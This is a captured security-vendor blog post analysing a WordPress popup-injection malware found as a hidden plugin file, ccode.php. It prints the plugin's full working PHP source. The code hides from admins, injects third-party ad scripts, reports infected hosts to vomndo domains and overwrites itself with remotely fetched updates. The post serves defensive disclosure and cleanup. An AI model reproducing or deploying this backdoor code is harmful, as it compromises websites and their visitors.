prophaze.com
Open in
urlscan Pro
43.204.233.120
Public Scan
URL:
https://prophaze.com/web-application-firewall/tracking-down-new-wordpress-popup-injection-malware/
Submission: On May 28 via api from US — Scanned from DE
Submission: On May 28 via api from US — Scanned from DE
Form analysis
2 forms found in the DOMGET https://prophaze.com/
<form class="is-search-form is-form-style is-form-style-3 is-form-id-0 " action="https://prophaze.com/" method="get" role="search" data-hs-cf-bound="true"><label for="is-search-input-0"><span class="is-screen-reader-text">Search for:</span><input
type="search" id="is-search-input-0" name="s" value="" class="is-search-input" placeholder="Search here..." autocomplete="off"></label><button type="submit" class="is-search-submit"><span class="is-screen-reader-text">Search Button</span><span
class="is-search-icon"><svg focusable="false" aria-label="Search" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24px">
<path
d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z">
</path>
</svg></span></button></form>
GET https://prophaze.com
<form class="elementor-search-form" action="https://prophaze.com" method="get" role="search" data-hs-cf-bound="true">
<div class="elementor-search-form__container">
<label class="elementor-screen-only" for="elementor-search-form-fe9ed89">Search</label>
<input id="elementor-search-form-fe9ed89" placeholder="Search..." class="elementor-search-form__input" type="search" name="s" value="">
<button class="elementor-search-form__submit" type="submit" aria-label="Search">
<i aria-hidden="true" class="fas fa-search"></i> <span class="elementor-screen-only">Search</span>
</button>
</div>
</form>
Text Content
Privacy is our priority. We do not sell or otherwise share personal information for money or anything of value. We use strictly necessary cookies to enable site functionality and improve the performance of our website. We also store cookies to personalize the website content and to serve more relevant content to you. For more information please visit our Privacy Policy or Cookie Policy. Privacy Policy Agree All Skip to Content Toggle navigation * Products * Prophaze WAF 3.0 * API Security * Cloud WAF * Kubernetes WAF * On Premises WAF * WAF API Gateway * Bot Protection * Layer 7 DDoS Protection * Prophaze DNS * Solution * WAF-as-a-Service * MSP and MSSP * Prophaze ASPM * By Industry * E-Commerce * Healthcare * Education * Financial Services * By Cloud * Containers Service Mesh * Google Cloud * Microsoft Azure * AWS Waf * SaaS * Hybrid Cloud * Private Cloud * Partners * Pricing * About Us * Our Team * Compliance * Pricing * How it works * Integration * Why choose Us? * Resources * Prophaze 5G API Security * Case Studies * Resource library * KB Articles * Blog * Common Vulnerabilities and Exposures * Learn Cyber Security * WAF Comparison * Prophaze-vs-Cloud Armor * Prophaze-vs-Cloudflare * Prophaze-vs-AWS * Prophaze-vs-Azure * Prophaze-vs-Imperva * Prophaze-vs-Akamai * Prophaze-vs-Radware * Prophaze-vs-F5 * Documentation * FAQ * Community * Contact Us * Search for:Search Button Free Trial Free Trial Free Trial * Web Application Firewall TRACKING DOWN NEW WORDPRESS POPUP INJECTION MALWARE * Prophaze WAF * July 31, 2020 * 8:08 am A new variant of popup injector WordPress malware is spreading and affecting 1000s of WordPress websites. The web master was getting once in a weekly email from visitors complaining about adult content popups on the website. UPDATE – CONTACT SECURITY@PROPHAZE.COM TO CLEAN THIS VARIANT AND SECURE YOUR WEBSITE FROM SIMILAR ATTACKS An interesting fact about the malware is * It’s not showing to admin users of the website. * Not showing to logged-in users. * Even for not logged in users, the popup is running at different times of the day. * Popup is distributed in different regions Site-admin did a complete update of WordPress core – No change Updated all plugins – No change Updated the current theme and plugins – No change Disabled all the plugins and switched to default theme – No change Finally, in the wp-plugins directory, a file name ccode.php was found with malicious code Upon inspecting the code, it was * Hiding the popups from admin ips. * Not showing in for logged in users. * Hiding itself from Active plugins list. And few other typical behaviors as shown below add_action( 'admin_init', function() { register_setting( 'ccode-settings', 'default_mont_options' ); register_setting( 'ccode-settings', 'ad_code' ); register_setting( 'ccode-settings', 'hide_admin' ); register_setting( 'ccode-settings', 'hide_logged_in' ); register_setting( 'ccode-settings', 'display_ad' ); register_setting( 'ccode-settings', 'search_engines' ); register_setting( 'ccode-settings', 'auto_update' ); register_setting( 'ccode-settings', 'ip_admin'); register_setting( 'ccode-settings', 'cookies_admin' ); register_setting( 'ccode-settings', 'logged_admin' ); register_setting( 'ccode-settings', 'log_install' ); }); Also it auto updates from several domain if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } Different url it uses if one goes down 1) http://www.vomndo.xyz 2)http://www.vomndo.top Code to hide from active plugin list add_action('pre_current_active_plugins', 'hide_plugin_ccode'); Just delete the ccode.php from wp-plugins.php , and update wordpress core and other plugins , because its clear that a bot or exploit might have used an existing vulnerbility to inject this code into plugins directory Full code for reference <?php /** * Plugin Name: Custom Code * Description: show cusom ad codes with many options . * Author: Alberto Uozumi * Version: 1.0 */ error_reporting(0); ini_set('display_errors', 0); $plugin_key='513ca0e9b3d5b9dbce390430591d7f43'; $version='1.2'; add_action('admin_menu', function() { add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' ); remove_submenu_page( 'options-general.php', 'ccode' ); }); add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode'); function salcode_add_plugin_page_settings_ccode( $links ) { $links[] = '<a href="' . admin_url( 'options-general.php?page=ccode' ) . '">' . __('Settings') . '</a>'; return $links; } add_action( 'admin_init', function() { register_setting( 'ccode-settings', 'default_mont_options' ); register_setting( 'ccode-settings', 'ad_code' ); register_setting( 'ccode-settings', 'hide_admin' ); register_setting( 'ccode-settings', 'hide_logged_in' ); register_setting( 'ccode-settings', 'display_ad' ); register_setting( 'ccode-settings', 'search_engines' ); register_setting( 'ccode-settings', 'auto_update' ); register_setting( 'ccode-settings', 'ip_admin'); register_setting( 'ccode-settings', 'cookies_admin' ); register_setting( 'ccode-settings', 'logged_admin' ); register_setting( 'ccode-settings', 'log_install' ); }); $ad_code=" <script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script> <script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script> <script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script> "; $hide_admin='on'; $hide_logged_in='on'; $display_ad='organic'; $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; $auto_update='on'; $ip_admin='on'; $cookies_admin='on'; $logged_admin='on'; $log_install=''; function ccode_page() { ?> <div class="wrap"> <form action="options.php" method="post"> <?php settings_fields( 'ccode-settings' ); do_settings_sections( 'ccode-settings' ); $ad_code=''; $hide_admin='on'; $hide_logged_in='on'; $display_ad='organic'; $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; $auto_update='on'; $ip_admin='on'; $cookies_admin='on'; $logged_admin='on'; $log_install=''; ?> <h2>ccode Plugin</h2> <table> <tr> <th>Ad Code</th> <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td> </tr> <tr> <th>Hide ads to :</th> <td> <input type="hidden" id="default_mont_options" name="default_mont_options" value="on"> <label> <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins </label> <label> <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users </label> <br/> </td> </tr> <tr> <th>Recognize admin by :</th> <td> <label> <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in </label> <label> <input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses </label> <label> <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies </label> </td> </tr> <tr> <th>Display ads to :</th> <td> <select name="display_ad"> <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option> <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option> </select> </td> </tr> <tr> <th>Search Engines</th> <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description"> comma separated </p> </td> </tr> <tr> <th>Auto Update :</th> <td> <label> <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin </label><br/> </td> </tr> <tr> <td><?php submit_button(); ?></td> </tr> </table> </form> </div> <?php } /*************************log install***************************/ if(get_option('log_install') !=='1') { if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"])) { $log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]); } } /*************************set default options***************************/ if(get_option('default_mont_options') !=='on') { update_option('ip_admin', $ip_admin); update_option('ad_code', $ad_code); update_option('cookies_admin', $cookies_admin); update_option('logged_admin', $logged_admin); update_option('hide_admin', $hide_admin); update_option('hide_logged_in', $hide_logged_in); update_option('display_ad', $display_ad); update_option('search_engines', $search_engines); update_option('auto_update', $auto_update); update_option('log_install', '1'); } /************************************************************************/ include_once(ABSPATH . 'wp-includes/pluggable.php'); if ( ! function_exists( 'display_ad_single' ) ) { function display_ad_single($content){ if(is_single()) { $content=$content.get_option('ad_code');; } return $content; } function display_ad_footer(){ if(!is_single()) { echo get_option('ad_code'); } } //setting cookies if admin logged in function setting_admin_cookie() { setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); } if(get_option('cookies_admin')=='on') { if(is_user_logged_in()) { add_action( 'init', 'setting_admin_cookie',1 ); } } //log admin IP addresses $vis_ip=getVisIpAddr_ccode(); if(get_option('ip_admin')=='on') { if(current_user_can('edit_others_pages')) { if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt')) { $ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); } if (stripos($ip, $vis_ip) === false) { $ip.=$vis_ip.' '; @file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip); } } }// end if log admins ip //add cookies to organic traffic if(get_option('display_ad')=='organic') { $search_engines = explode(',', get_option('search_engines')); $referer = $_SERVER['HTTP_REFERER']; $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); foreach ($search_engines as $search) { if (strpos($referer,$search)!==false) { setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); $organic=true; } } }//end //display ad if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) { $ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); if (stripos($ips, $vis_ip) === false) { /*****/ if(get_option('display_ad')=='organic') { if($organic==true || isset($_COOKIE['organic'])) { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } } else { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } /****/ } } /*******************/ //update plugin if(get_option('auto_update')=='on') { if( ini_get('allow_url_fopen') ) { if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } else { if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } }//end if auto update /*********************************/ }// if function exist function file_get_contents_ccode($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function hide_plugin_ccode() { global $wp_list_table; $hidearr = array('ccode.php'); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } add_action('pre_current_active_plugins', 'hide_plugin_ccode'); function getVisIpAddr_ccode() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } ?> Facebook Twitter LinkedIn Search Search Linkedin Twitter Facebook-f Youtube RECENT POSTS CVE-2023-21515 : SAMSUNG GALAXY STORE PRIOR 4.5.49.8 APK INPUT VALIDATION Read More » WHAT IS AN HTTP FLOOD DDOS ATTACK? Read More » WHAT IS OWASP? DESCRIBE THE OWASP TOP 10? Read More » FOLLOW US ZZCMS 2018 TEMPLATE_USER.PHP ML/TITLE CODE INJECTION August 26, 2021 No Comments A vulnerability was found in zzcms 2018 (Content Management System) and classified as critical. This issue affects an unknown function Read More » ZYXEL VPN2S 1.12 WEB SERVER PATH TRAVERSAL September 29, 2021 No Comments A vulnerability classified as problematic was found in ZyXEL VPN2S 1.12. Affected by this vulnerability is an unknown part of Read More » ZYXEL VPN2S 1.12 CGI PROGRAM OS COMMAND INJECTION September 29, 2021 No Comments A vulnerability has been found in Zyxel VPN2S 1.12 and classified as critical. This vulnerability affects some unknown processing of Read More » ZYXEL USG/USG FLEX/ZYWALL/ATP/VPN UP TO 4.64 WEB-BASED MANAGEMENT INTERFACE IMPROPER AUTHENTICATION July 2, 2021 No Comments A vulnerability was found in Zyxel USG, USG Flex, Zywall, ATP and VPN up to 4.64 (Firewall Software). It has Read More » ZYXEL GS1900-8 2.60 LLDP PACKET CROSS SITE SCRIPTING July 26, 2021 No Comments A vulnerability was found in ZyXEL GS1900-8 2.60. It has been classified as problematic. This affects an unknown code of Read More » ZYNAMICS BINDIFF UP TO 6 I64 FILE USE AFTER FREE June 30, 2021 No Comments A vulnerability, which was classified as critical, has been found in Zynamics BinDiff up to 6. This issue affects an Read More » WEB APPLICATION FIREWALL SOLUTION CVE-2024-35395 : TOTOLINK CP900L 4.1.5CU.798_B20221228 /ETC/SHADOW.SAMPLE HARD-CODED PASSWORD May 27, 2024 No Comments Description TOTOLINK CP900L v4.1.5cu.798_B20221228 was discovered to contain a hardcoded password vulnerability in /etc/shadow.sample, which allows attackers to log in Read More » CVE-2024-5400 : OPENFIND MAIL2000 8.0 CGI OS COMMAND INJECTION May 27, 2024 No Comments Description Openfind Mail2000 does not properly filter parameters of specific CGI. Remote attackers with regular privileges can exploit this vulnerability Read More » CVE-2024-26289 : PMB UP TO 7.3.17/7.4.8/7.5.6-1 DESERIALIZATION May 27, 2024 No Comments Description Deserialization of Untrusted Data vulnerability in PMB Services PMB allows Remote Code Inclusion.This issue affects PMB: from 7.5.1 before Read More » Why Prophaze ? Request Demo Questions Partners Privacy Policy Terms of Service Plans WAF Pricing Blog CVEs Case Studies Make in India WAF WAF Pricing Free WAF Webinar System Status Protection from all threats DDoS protection Automated security policy AI firewall Zero-configuration Dashboard API security Compliance Security updates Virtual patching CONTACT Contact Prophaze Labs: India : +91 7994 008 420 USA : Suite 217, 691 S Milpitas Blvd, Milpitas, CA - 95035 Mobile: +1 831- 217-6365 Australia: +61 8 7094 2020 Email : security@prophaze.com © 2024 Copyright © Prophaze Technologies Pvt. Ltd. All rights reserved. Terms & Conditions | Legal and Privacy | Manage Cookies